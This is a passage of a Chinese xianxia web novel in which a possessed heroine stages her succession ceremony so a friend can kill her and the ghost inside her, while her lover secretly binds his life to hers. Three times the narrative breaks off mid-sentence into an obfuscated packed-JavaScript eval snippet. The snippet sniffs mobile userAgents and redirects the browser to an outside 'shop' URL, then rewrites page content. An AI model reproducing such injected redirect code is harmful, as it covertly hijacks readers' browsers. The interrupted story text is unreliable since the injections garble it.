他的死亡消息刚传出,谢扶光即趁乱上位,她一个小辈,又是女流,偏斩获相当可观的支持,值得一提的是,拥护她的也正是此前无脑站颜琅的那批人。 没来过渡业山的一些小宗门滞后几日收到消息,纷纷对此变故表示强烈不满,气势汹汹前来渡业山讨伐,原已做好鏖战一场的准备,偏饮一口谢扶光亲手递的茶,再被她三言两语打发几句就能很没骨气地满意归去,回去后竟还沦为谢扶光的新晋拥趸。 后来者听闻此事,不敢再饮渡业山的毒茶,却总能在其他细枝末节着了道。 类似传闻一多,修界开始流传一个恐怖说法:渡业山大概是个受了诅咒的邪地,不然这一个个怎么都去时好端端归时脑残残? 长此以往,猜测越多,传得越邪乎,便也越无人胆敢前来一探。 “舒大哥,最近我听到许多有关大小姐的传言,到底怎么回事?” 舒扬舟院中一团光影流动,卢笑绒正与他连着隔空寄音。 提起谢扶光,舒扬舟面色就是一阵难看:“厉鬼占了她的身体。” “啊!”卢笑绒大惊。 怕把她吓出个好歹,舒扬舟很快补充:“别急,具体情况我虽不太清楚,但师妹魂魄并未从身体剥出,现在的她与厉鬼共存于同一躯壳里咳咳……” 他说话断续,中气显然不太足,不时还呛咳两声:“所以还有希望,只要赶走厉鬼,我们一定能救她咳咳……咳……” 说到后来,他情绪过激,咳得也愈发厉害。 卢笑绒听出不对,问他:“舒大哥你怎么了?” 舒扬舟只说无事,不待再问就掐断了通讯。 “都说了让你控制情绪,”崔惊厄自从那天在渡业山乱局中扛了大梁,就一直“客居”于此,见舒扬舟这边止了对话,持纱布和伤药走来,“这两天你这伤口反反复复,都崩开几次了?” 舒扬舟垂眸不发一语,静静由着他换药。 前日他去找谢扶光,刚被厉鬼操控下的师妹一刀伤了心肺,师妹六亲不认,面目全非,他这做师兄的岂能不心痛? 而老师兄的心痛固然可悲,崔惊厄的淡然则更令人恼火。 自从谢扶光被厉鬼强占躯壳,性情大变,他始终淡淡的,甚至没什么情绪外露,舒扬舟曾几度见证二人同生共死,又记得前世崔惊厄被谢扶光一刀穿胸后仍拿出护魂罡气护她,自然不会怀疑崔惊厄心意。 正因如此,他的淡然才更加古怪,舒扬舟深深疑心两人背着他进行了什么计划。 “嘶……” 正想得出神,伤处遽烈一痛,崔惊厄的手不知何故一抖,手中绷带深深勒在他伤口。 心中本就不满,舒扬舟干脆借题发挥,想着定要逼他说出点什么,抬眼却见崔惊厄下颌紧绷,深敛了眸。 “你怎么了?” “无事。” 崔惊厄缓过那阵疼,说的话与舒扬舟答卢笑绒的一样。 “抱歉,刚下手重了。” 他声音里带着显见的痛意,舒扬舟信才有鬼。 他扯过崔惊厄一双手臂查看,但见崔惊厄右小臂内侧蜿蜒着一道深邃刀伤,伤处正汩汩涌着新鲜血液。 而距离伤口两寸左右,他与谢扶光的姻缘线又在散发灼灼红光。 “什么时候伤的?”舒扬舟死死盯住那姻缘线,心脏被恐慌坠得一沉,“就是刚刚那一下么?这……咳咳咳……这是乐命的刀口,你一直跟我在一起,怎么会被乐命所伤?这道伤……” 和谢扶光有关系么? 最后半句他没说下去,但弦外之音铮铮。 面对他的追问,崔惊厄面容平静依旧,他缄默看了一眼西北方向,那里坐落着谢扶光的寝房。 “舒兄,其实她的神识从未被厉鬼完全压制,她只是……”收回视线时他说,“只是不打算回来了。” “谢!扶!光!” 厉鬼疼得连声嚎叫,谢扶光用尽全力,没让它用自己的脸做出扭曲的丑陋表情。 “我说过,你用我的身体作恶也要有个限度。”谢扶光拭去额上冷汗,漠然说道,“否则,我便让你痛不欲生。” 数日前,厉鬼强行挤进她躯壳的同时,她也用宛流萤留给她的护魂罡气将它紧紧缠缚在体内。 到现在,她的身体、她的魂魄和厉鬼的魂魄已荣损与共,同生同死。 一开始,厉鬼当她要效仿颜琅,与它同归于尽,还曾嘲讽:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267892|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劝你少白费力气,我已入世,今非昔比,你即便自尽,我也不过是沉睡个一二十年,何必搞得你我都不痛快?” 谢扶光一开始还威胁它:“若我就是拼上自尽,也要困你一二十年呢?” 厉鬼在万里悲丘熬怕了,好不容易得以入世,自不愿沉睡,因此头几日确实消停不少。 但“狼来了”的谎言说得越多,越折损信誉,几次过后,见谢扶光毫无要自尽的表现,厉鬼胆子便大起来,她这一招也失了效用。 谢扶光是聪明人,不会为这治标不治本的一二十年搭上自己的后半生,这太不划算。 她既主动着了厉鬼的道,将它请进自己这只“瓮”,自然有更好的谋算。 厉鬼多年不曾降世,诛杀上任厉鬼之法早已遗失在时间长河,即便渡业山的藏书阁也难寻只字片语。 她其实想过崔惊厄或许会知道,但这种事不到万不得已,她并不愿问他。 他或许能猜到一些,可她总不能没心没肺与他探讨自己心存的死志。 好在谢白扇为她留下了丰厚遗赠。 走投无路之下,谢扶光将灵识深深沉进那储存着万千亡灵的储物袋,尝试与它们进行沟通。 亡灵们什么时候死的都有,有的当真颇见过些世面,只是答案不白给,需得她付出一定筹码交换。 亡灵们想在它们与谢扶光灵魂之间辟一条通路。 谢白扇曾说,收服亡灵不是易事,但凡生念不坚,便极有可能被反噬意志。 如今她的生念如何,谢扶光不敢妄断,但她知道,凡事都有与之匹配的代价,她所求本就是刀口舔血十死无生,将脚下薄冰再削薄一层似乎也没什么。 谢扶光痛快应下,亡灵守诺告知:想彻底除去入世的厉鬼,需得在阳年阳月阳日阳时,于阳气汇聚之地,由一心境澄明之人将其斩杀。 最近的“阳年阳月阳日”不算太晚,刚巧在上元节后。 至于“阳气汇聚之地”,则可人为创造。 相较颜琅,厉鬼只想为祸人间以增自己的力量,对当不当盟主其实没什么执念。 真正提出要坐上盟主位的是谢扶光。 她不光要当盟主,还要举办一场宏大盛典,召集各宗有头有脸的人物全来参加,须知越强大的修士,身上阳气则越炽盛,届时她登任盟主之地自然便是那阳气汇聚之处。 最难办的是那“心境澄明之人”,在谢扶光看来,最符合这一条件的当属卢笑绒,只是说服她斩杀自己终究很有难度,此事仍需再议。 在那阳年阳月阳日到来之前,谢扶光最需要做的是先稳住厉鬼。 最初的自戕威胁不再管用后,她便开始了自残,厉鬼怕痛怕得厉害,小小一道伤口也能让它疼得跳脚,恰好谢扶光不在意这点伤,愿意通过折腾这具身体,来削弱自己与厉鬼间悬殊的力量差距,达成一个平衡。 “上元节就快到了。” 谢扶光刚划在小臂的那一刀,一方面是为报复厉鬼刺伤舒扬舟的事;另一方面,也是为接下来准备提的要求铺垫一点震慑。 “你又想干什么?”厉鬼语气不好,但因刚受过刑,态度尚可。 “上元那天,还有登任盟主的日子,把身体完全交给我,”谢扶光冷冷说,“若被我发现,你趁我精力不济时夺走控制权,下一次会比这疼百倍。” 厉鬼闻言止了呼痛声,喋喋怪笑道:“我可以满足你们这些愚蠢人类无用的仪式感,但你别想耍什么滑头,不然……你师兄就是前车之鉴,下一次我若伤谁,可不敢保证会留他性命了。” 95.上元乐 光阴不谙人事苦,任它风雨连绵,还是乱云飞渡,依旧从容流到了上元。 厉鬼不是什么守信的东西,但它怕疼,终归是在这天把身体交还给谢扶光,沉淀为这具躯壳深处的一道阴影。 难得拥有了完整又奢侈的一天,谢扶光把行程安排得很满。 她第一个去见了舒扬舟。 踏进舒扬舟的院落,回忆瞬间扑面。 庭院最中心的大树仍刻有他们幼年比武计分时画的正字,这棵大树如今也苍老了; 树下石桌于东西南北面各置一方石凳,前世她、舒扬舟、崔惊厄和卢笑绒就坐在这儿,度过了一段又一段闲散时光; 寝房的木门换过一次,好像是因为舒扬舟对她某个要求说了“没门”,她便当真把门卸走,路上没背稳摔坏了。 而今那道后来新安上的石门前,立着舒扬舟消瘦了许多的身影。 对上他视线的一霎,谢扶光下意识止了故作轻快的步伐。 从他目光里,她感到一种沉重,几乎将她压垮。 好在沉重只持续了一瞬,舒扬舟脸上很快绽开与她如出一辙的“真诚”笑容。 那天崔惊厄说完“她只是不打算回来了”,舒扬舟几乎暴起,发疯般就要朝谢扶光院落冲去。 犹记他当时口不择言:“你由着她胡闹,我不行,你崔惊厄没了她,还能再找无数爱侣,但我只这一个师妹,我必须得带她回来,别拦我!” 拉扯间,崔惊厄小臂的鲜血沿指尖滴下,汇入泥土。 刺目的鲜红让舒扬舟冷静了些。 他脱力瘫坐在地,伸出掌心接了一滴崔惊厄滴落的血。 “对不起。” 崔惊厄摇头。 “你决心陪她赴死了?” 崔惊厄颔首,又说:“别告诉她。” 同生同痛同死,这是他利用姻缘线做的小手脚,没让谢扶光知道。 “那我呢?我怎么办?”舒扬舟说着,眼泪应声顺脸颊一道道滑落,“前世她已经……已经死过一次了,是她拉我们回来的,这一次为什么还是她?怎么能还是她?” “舒兄,纠结于此并无益处,她既决意如此,我们能做的,只有帮她,最起码,不要拖累她。” 因此今日见谢扶光,舒扬舟只对一切佯作不知,唯恐引她体内厉鬼警觉。 “师兄伤怎么样了?”想到这已是最后的相处,谢扶光反而情怯,半晌只挤出一句寒暄。 舒扬舟装出副气恼模样:“你也太不当心,竟着了那厉鬼的道,好在我宽宏大量,不与你计较那一刀。” 谢扶光难得没与他呛声,只笑着道了声:“宽和之人必得洪福高寿,师兄,你日后福气定大着呢。” 舒扬舟看着她,喉头梗塞,一时无法言语。 幸而谢扶光说话兴致也不甚高涨,只简单说了两句,便摊开一个小油布包:“今日上元,我特地带了些炸元宵。” 舒扬舟忍了满腹泪意,哪吃得下这东西,只推说等会儿要练剑,练完再吃。 谢扶光却道:“刚巧我们已许久没一起练武了,不如再过几招?” 时隔两世又许多年,师兄妹两人终于再度立于昔年老树下,却是华叶落尽,满枝萧条。 没有人开口商量,二人却都默契使出了少时对练常用的基础刀剑式,几十招转瞬即过,谢扶光有意放水,竟叫同样没什么战意的舒扬舟取胜。 “师兄,你可以在上面添一笔了。”谢扶光朝老树干扬一扬下巴。 “我不添,你让着我,瞧不起人。”舒扬舟背过身,生了大气似的赶人,“没事儿赶紧滚蛋,别扰我清修。” 直到今日他才觉出自己竟是个泪腺发达的人,再多一会儿他怕就绷不住了。 谢扶光嘿嘿一笑,用乐命在代表舒扬舟获胜的那一列,亲手为他添了笔战功。 “那师兄,我这就走了,”谢扶光嗓音微哑,语调却欢快得令人难过,“今日上元,我给你的元宵你一定记得吃!” “回见!” 舒扬舟待她走出数米才转身,望着她背影,不自觉又是泪流满面。 还与他说“回见”,臭师妹真是爱骗人。 惦记她最后的嘱咐,舒扬舟翻查起她带来的元宵,果然从两张油纸的夹层里抽出一张给卢笑绒的信,信纸已泛黄,显见已写了很久。 在厉鬼监视下寄信并不容易,事实上,谢扶光不敢打草惊蛇,那藏匿信纸的油纸早在厉鬼上身前即已备好,交给舒扬舟送出,她很放心。 离开舒扬舟的小院,谢扶光去找崔惊厄却未在他的客居寻见人,利用姻缘线感应着他大致方位,一路往山下走,果然在山脚看见了正负手等她的人。 知她右臂有伤,崔惊厄将拎的山楂糕换到左手,右手五指自然插进她左手指缝。 他什么都没问,只说:“走,去约会。” 渡业山远离凡人聚集之地,与山下闹市隔着不远的一段距离,两人都是修士,即便不乘小美人,御剑而行也能更快抵达,但谁都不想偷这个懒,他们以双足丈量过蜿蜒山道、崎岖小路,仔细地看这沿途山水与一路的人,说话不多,手却一直没松过。 待到月上柳梢,一程路终究走到尽头。 修界风波并未对凡人有太多影响,上元节依旧热闹,宝马雕车,玉壶光转,鱼龙戏舞,好一派繁华盛景。 即将步入这盛世画卷,谢扶光却回头,不无留恋望了眼身后的来时路。 视线收回时,正撞上一旁崔惊厄凝睇向她的眼眸。 他身后是火树银花,万千灯火照不亮他,只好黯了谢扶光的眉眼。 “那边在表演喷火。”不愿放任愁绪蔓延,谢扶光将两人强拽入快活氛围中。 街上拥挤依然,谢扶光挤在人群,一时恍惚回到了前世她与崔惊厄定情的那天。 只是时过境迁,她已成了戏中人。 上次没赶上听书的茶楼依然开着,断续几道抚尺音。 “且听老朽细细道来,这谢扶光三头六臂,心如蛇蝎,面似阎罗。因颜琅归来挡了她的上位路,她痛下杀手,不知使出什么手段,致颜琅溺毙水中。可怜那颜琅初初归来就惨遭迫害,明明初死,尸体竟似死去数日那般,全身溃烂……” 谢扶光牵崔惊厄进来,寻了个角落落座,对种种毁谤毫不在意,只作笑谈。 一旁有个年轻义士显然动气,大掌猛拍木座扶手,怒道:“此等妖女,合该诛之!怎还会有人拥护?” 说书人一捋稀疏山羊胡:“诚如这位壮士所言,这谢扶光乃妖女,妖术卓绝,善蛊惑,可操控人心啊。” 满堂哗然,谢扶光只从崔惊厄手里摸山楂糕吃,山楂糕酸甜可口,她满足地眯了眯眼。 那义士兀自义愤填膺,瞧见谢扶光听笑话似的悠哉模样,只觉甚不顺眼。 “这位姑娘,台上那位先生所言乃是关乎整个世间的大事,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284905|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岂可如此轻漫待之?” 谢扶光觉着他怪有意思,有意逗他:“那怎么样呢?我一个小老百姓还能去杀了那妖女不成?” 义士豪言壮语:“所谓‘柴多火旺,水涨船高’,我们这么多人团结起来,便是那妖女真的三头六臂,还会怕了她么?” “实不相瞒,我这次来吉城,就是为了参加三日后她的登位大典。” “你要在大典上杀她哦?” “我……”说到这儿,少年难得有些气短,“我自知技艺不精,若找不到更多志同道合者,只怕要搭上性命。” “但那又如何?”他仰起脖子,作出副引颈受戮的姿态,“便是死,也好过在她的操控下苟活,这点血性我还是有的!” 谢扶光笑嘻嘻竖了个大拇指给他,眯眼鼓励道:“那么就祝你顺利诛杀妖女咯~” 谢扶光是真的很高兴。 厉鬼操控人心,自以为能摆布众生,这些时日以来,它收下许多拥趸,将修界搅得风狂雨横,可那又如何? 上元佳节依旧热闹非凡,这前仆后继的天地间,也总有不甘为奴的人。 说书先生为博眼球,越说越扯淡,不多时竟扯到谢扶光以初生婴孩心脏为食,每日午夜都要吸干三名美少年精气…… 听得没意思,两人离了茶楼。 吉城至北有片湖,湖面结着一层薄冰,湖岸光秃,尚未生出新草新叶,这会儿没什么人。 “我想去那上面走走。”谢扶光指着湖面。 “好,一起。”崔惊厄依旧没有阻止,只是相随。 踏在薄薄的冰面,能感到其下水流的柔软,脚下有轻轻酥酥的响动,天越来越暖,这冰真是要化了。 “我们可能会掉下去。”谢扶光说。 “嗯,”崔惊厄歪头看她,“那怎么样呢?不走了?” “更要走了,”谢扶光想了想说,“如果没掉下去,岂不是很幸运?” “嗯,幸运。” 崔惊厄没有问如果掉下去又怎么说,但她自己补上:“如果掉下去,就说明春天要到了。” “嗯,总之都是好事。今后只有好事。” 谢扶光朝他笑了一下,一句话在肺腑间冲撞过无数次,又经喉头咽下千百回,终于到了个勉强能说的时机。 “崔惊厄,要是我不小心掉下去,往后我的好运就都传给你了,你得好好接着。” 所以,你得好好活。 崔惊厄这次却不“嗯”了。 哗啦啦几声响,他又从怀中摸出那串铜钱。 前世他死时铜钱散落一地,被器墓迷阵的器灵们拾去,又在通关后物归原主,历经好一番周折。 “来,我再给你算一卦,这铜钱可有来头,一定准的。” 每次让他来算,都是“乾为天”,谢扶光已能预料到结果。 但她还是装作一脸期待地等着。 铜钱背后不是机缘时运,而是他终于寻到契机得以宣之于口的祝福。 哪知这次却不是“乾为天”。 反正反反反反,第八卦,“水地比”。 “下坤上坎相叠,坤为地,坎为水,水附大地,地纳河海,相互依赖,亲密无间,”崔惊厄越说声音越小,靠她也愈近,“大小姐,它要我们相辅、相亲呢……” 尾音消弭于他骤然来袭的气息,浮冰之上,六枚铜钱映衬交颈相亲的一双影。 他们谁都没有掉下去。 96.最后的盛典 上元后的第三日,即是谢扶光登任盟主的大典。 她的排场比先前任何一任都更隆重,前来观礼的有些是厉鬼的拥趸,也有些是如那茶楼少年一般的义士。 无论所为何来,都是给她撑阳气的,谢扶光都很欢迎。 因有盛事,渡业山空前热闹,卢笑绒、黎暨和宁磐也来了。 卢笑绒显然心事重重,两眼也红得明显,应是看过了谢扶光给的信。 “不是已经期待登基很久,怎么这么不隆重?” 谢扶光穿着打扮与平日无异,只将衣裙换成红色,配饰什么都精简了,连厉鬼都觉得不正式。 “你懂什么?”谢扶光只称,“没听过坊间怎么编排我的么?你可知今日来的人里有多少是来杀我的?礼服那么重,一旦有人出手,我很难闪躲及时,你我一损俱损,届时你也讨不到好处。” 厉鬼闻言傲慢笑道:“这有何难?你若求求我,我能把他们都变成你的拥趸!” 谢扶光冷冷瞪视穿衣镜中自己的脸,仿佛能透过那层皮,给体内厉鬼以震慑。 “那到底是谁的拥趸?”她冷笑道,“都成了你的奴隶,我这盟主还能管几个人?” 她说着撩开衣袖,晃了晃仍未完全愈合的伤疤:“我警告你,不要随便行事,今日有人杀我,我巴不得,不然又何以立威呢?” 利刃剜肉之痛刻骨铭心,厉鬼不再多言,退回背景板的位置。 大典仪式很复杂,从巳时开始铺垫,直至午时方入正题。 午时阳气抵达巅峰,谢扶光耐着性子过完一串流程,总算见到了她等待已久的高台。 高台之上安放着盟主宝座,宝座顶部悬着面金银线穿插织就的帷幔,每条纹路都由谢扶光亲手设计,此刻还是卷起的,只待她登上高台,亲手拉下。 高台之下则是一百零八级石阶,石阶两侧分立着前来观礼的修士,左侧为尊,站的多为掌门、宗主和长老级别的人物,右侧则要杂一些,有各宗的天才小辈,亦不乏低阶散修,当日茶楼里的义士赫然也在其中。谢扶光拾级而上时,余光瞥见他险些惊掉的下巴,倒为这漫长一程平添了少许趣味。 崔惊厄、舒扬舟这些少年英才聚在右侧最上位。 谢扶光一步步走,能听到人群中不乏质疑她的声音,又很快被厉鬼的拥趸们压下。 可笑一百零八石阶,走的人还没登顶,看客们已掐了十几回合。 走完石阶,谢扶光在高台站定,徐徐转身。 “今日是我的大日子,感谢诸位前来观礼。” 谢扶光的致辞相当简单,压根没提什么“繁荣修界,回护人间”的经典场面话,既似敷衍,也像赶时间。 浅浅应付两句后,她顿了顿又添上一句:“今日大典准备仓促,等会儿若遇什么变故,还望大家不吝相助。” 此话一出,底下观礼的修士们各自面色古怪。 有的寡闻窗外事,面露疑惑,压根不知她在说什么; 也有些只当她自知这盟主位夺得名不正言不顺,预料到或将有变故发生,但公然说出这话无异当众扯落遮羞布,未免太不合时宜了。 谢扶光确实赶时间,没让他们猜太久,食指缠上头顶帷幔的抽绳。 动手前,她与卢笑绒交换一道目光,见对方虽不情不愿却仍垂眸点了下头,这才发力扯下了那条抽绳。 帷幔应声展开,抖落一片金银光华,众人眯了眯眼才看清其上内容,竟并非想象中张扬盟主威仪的大字姓名,而是一道罕见阵法。 午时日光炽烈,曝在金银线织成的幔面,其上阵法图纹饱吸日光,开始运转。 图纹转得越来越快,与此同时,场中阳气以肉身可感的速度向高台聚拢,尽数盘绕于金银幔下笔直立着的谢扶光周身。 “她这是在干什么?” “妖女在吸我们的阳气!” “还等什么?杀了她!” …… 底下尚未被厉鬼洗脑的人乱作一片,谢扶光脑中亦是吵闹无休。 厉鬼虽不知她具体想法,但谢扶光一系列非同寻常的操作显然让它升起本能的危机感,何况周围阳气浓郁到前所未有的程度,它的能力亦受到一定程度的压制。 “笑笑。” 置身内外两重喧嚣的夹击间,谢扶光淡然示意卢笑绒。 卢笑绒咬一咬牙,自腰间抽出早已备好的匕首,依照谢扶光信中吩咐的那般,摒弃一切感情,只径直向前冲去,刀尖直指谢扶光胸口。 看着卢笑绒疾速奔来的身影,谢扶光不无欣慰。 一切,终于要结束了。 心口盘亘多日的石头行将坠地,她顺利哄骗厉鬼到登位大典,如愿扯下汇聚阳气的帷幔,卢笑绒也可喜地没有感情用事,一切顺利得像一场梦。 真是她这辈子难得的好运气。 卢笑绒代表灵鹤谷前来,站的位置距她不远,三两步就奔到她面前。 透过匕首反射的寒芒,谢扶光在这最后时刻终于朝崔惊厄投以匆遽一眼。 他今日也着了红衣,分外扎眼,负手立于人群之中,面上无悲无喜,又游离在人群之外。 他像什么都知道,也像什么都不知道,就只是平静地看着她达成夙愿。 时间玩着诡谲的情趣,生生将这短短一眼拖出漫漫年光的厚重。 但很快她又警觉不对,这一刀的时间确实有些长了。 以卢笑绒的速度,匕首刺入她胸膛不该这么慢才对,她一定受到了干扰! 谢扶光反应很快,厉鬼刚有动作,她立即从临终的感性抽离而出,全部关注落在体内那只渐止厉声咆哮的鬼物。 厉鬼最擅因势利导蛊惑人心,就在那匕首距离谢扶光胸膛仅余寸许之时,它骤然放大了卢笑绒满心的不舍和不愿。 卢笑绒非心志不坚之人,却难免被急转强烈的情绪砸的失神。 厉鬼要的正是她挥刀时的一霎犹疑,把握住这短暂停顿,它广召列于台下的一众拥趸,促使他们蜂拥上前。 台下人纷纷沿石阶上涌,厉鬼的拥趸们为着阻止谢扶光,其他人则一半跟风讨那吸阳气的公道,一半想趁机杀了谢扶光。 一方想她活,一方盼她死,不及登上高台,两方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294709|133453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又在石阶上掐了个你死我活。 今日前来的不乏各宗战力高强者,这样一群人打起来声势更加浩大,谢扶光正与体内厉鬼博弈,艰难争夺对身体的控制,哪有余力相抗从下漫上来的修士潮? 而此番她已然打草惊蛇,一旦被拖过了阳时,日后再寻合适时机简直难如登天。 机会只有一次,她必须成事! 谢扶光身在登位大典,荣耀非凡,心却已至末路穷途,山重水复。 她心有澄明执念,驱使着她在与厉鬼博弈中艰难抢占一瞬上风,感受到身体重回控制,她摒弃一切杂念,直直撞向卢笑绒手中匕首。 然如此生死关头,厉鬼爆发出的亦是最强悍的力量,纵有头顶的阳气法阵削弱,依然不容小觑。 千钧一发之际,它夺过她身体急急一偏,刀刃险伶伶避开胸口,只在她那命运多舛的左肩又添了一道见骨伤。 新旧伤交叠,谢扶光痛得眼前一昏,恍惚瞥见前方不远处亦飘飞一道血线,她下意识凝了凝神,竟对上崔惊厄心虚投来的目光。 “我想去那上面走走。” “好,一起。” …… 一霎脑中轰然,上元夜湖畔的对谈回荡耳畔,呼吸间卷起狂莽的风,将她五脏六腑剐得透凉。 原来一切早有预兆,在她不知情时,他已悄然与她踏上了同一块薄冰。 这一霎,谢扶光心中生念空前炽盛,只因姻缘线的另一头牵着崔惊厄的命。 “叮当”几响铜钱碰撞声,崔惊厄收敛了心虚的表情,他又从怀里摸出那六枚铜钱,含着笑朝她晃了晃,像又一次祝福。 底下已一团混乱,不少修士攀到石阶尽头,即将登上高台,舒扬舟带着黎暨和宁磐提剑迎上。 “师妹,”舒扬舟背对她,声音冷毅,“只管放手去做,这边我们替你拦!” 他尊重她赴死的选择,纵然不情愿。 “大小姐,不用担心我,”崔惊厄也轻扬唇角,“今日若与你一同殒命于此,便是早于旁人数十年登上那‘死同穴’的极乐,我荣幸之至,更求之不得。” “舒兄那边打得艰难,我去帮忙了!” 该说的说完,绯红衣角不再留恋,转身飘入阶上乱斗中。 他们仅有四人,却要拦下潮水般战力高强的修士,又岂是易事? 况且此次不同于厉鬼境中战“颜琅”,站在对立面的都是或不知真相或被洗脑的修士,他们是活生生的人,舒扬舟几人自不好下杀手。 他们不欲伤人,对方却毫无顾忌,四人以血肉筑成的防线很快摇摇欲坠,身上也受了大大小小的伤。 厉鬼无形无体太久,没受过什么痛,远不及谢扶光能忍,肩上伤处痛彻心扉,它在她脑中惨声嘶叫,近乎失去与她争夺身体的能力。 就是现在! 敌人的退缩与至亲至爱的支撑两项交叠,生生为谢扶光在这满目绝壁间撬开了一隙可乘之机。 再无犹豫,谢扶光双手稳稳握住卢笑绒的手臂,含笑挺身,以胸口迎上她掌心匕首。 血色光华爆开,一切终归沉寂。